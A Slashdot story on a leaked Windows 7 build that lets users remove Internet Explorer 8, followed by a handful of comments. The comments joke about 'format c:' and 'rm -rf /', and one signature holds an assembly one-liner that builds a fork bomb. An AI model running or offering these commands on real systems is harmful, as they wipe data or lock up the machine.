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Windows 7 Lets You Uninstall IE8

Posted by samzenpus on from the if-thy-browser-offend-thee-pluck-it-out dept.

CWmike writes "A just-leaked build of Windows 7 lets users remove Internet Explorer, the first time that Microsoft has offered the option since it integrated the browser with Windows in 1997, two bloggers reported today. The move might have been prompted by recent charges by the European Union that Microsoft has stifled browser competition by bundling IE with its operating system, the bloggers speculated. One solution under consideration by the EU would require Microsoft to disable IE if the user decided to install a different browser, such as Mozilla's Firefox or Google's Chrome. Microsoft had no comment when asked to confirm whether Windows 7 will let users dump IE8 or whether the option was in reaction to the EU charges."

13 of 474 comments (clear)

  1. At last! by symbolset · · Score: 5, Funny

    A compelling feature to drag people away from XP.

    Now only if it included a utility to uninstall Windows...

    --
    Help stamp out iliturcy.
    1. Re:At last! by C0vardeAn0nim0 · · Score: 3, Funny

      it does. it's called "format c:"

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      What ? Me, worry ?
    2. Re:At last! by Anonymous Coward · · Score: 2, Funny

      It will format everything except that c:\boot\ folder.

      That doesn't belong to you! Didn't you read the EULA?

    3. Re:At last! by Anonymous Coward · · Score: 1, Funny

      Arch worked for me and I'm a complete Linux noob, only hard part was waiting for X11 to download and compile.

  2. Confucius say by Profane+MuthaFucka · · Score: 5, Funny

    Man who remove Internet Explorer but not Windows is a little like Lance Armstrong: still one Ballmer remaining.

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    Fascism trolls keeping me up every night. When I starts a preachin', he HITS ME WITH HIS REICH!
    1. Re:Confucius say by steelfood · · Score: 4, Funny

      Maybe he had mod points and wanted to mod himself up?

      --
      "If a nation expects to be ignorant and free in a state of civilization, it expects what never was and never will be."
  3. Uninstall? Yeah, right... by epp_b · · Score: 1, Funny

    Have you ever actually managed to truly "uninstall" something on Windows?

    Don't say yes, you'll be lying.

  4. Re:Hardly new. by Dynedain · · Score: 3, Funny

    The problem is that even if you did that, certain programs would still launch IE (Autodesk's feedback utitlity for software crashes for example) instead of the default system browseer.

    IE != Gecko. Gecko is used to render help files and other system-wide things that need an HTML rendering engine (same think as WebKit on OSX), but that does not mean that the IE application needs to be present to do so.

    --
    I'm out of my mind right now, but feel free to leave a message.....
  5. Re:Why remove it alltogether? by Hooya · · Score: 5, Funny

    > ... 6 apps that I have that will break, off the top of my head.

    You may want to move your head out of the way - you're liable to get a concussion.

  6. Re:rm -rf / by Megatog615 · · Score: 5, Funny

    Cool! I think I'll try for myse

  7. Text editor innovation by Anonymous Coward · · Score: 2, Funny

    They've also stifled text editor innovation by bundling notepad.exe. They haven't even had the good graces to update it since the NT version. A classic example of MS sitting on its laurels.

  8. Re:rm -rf / by PReDiToR · · Score: 3, Funny
    Don't take this personally, but ...

    rm -rf / on a our live server, serving all our webads

    Tag: andnothingofvaluewaslost

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    Do not meddle in the affairs of geeks for they are subtle and quick to anger
  9. Re:You can already do this ... by Hal_Porter · · Score: 2, Funny

    Apaches are kick ass Indians or equally kick ass combat helicopters.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;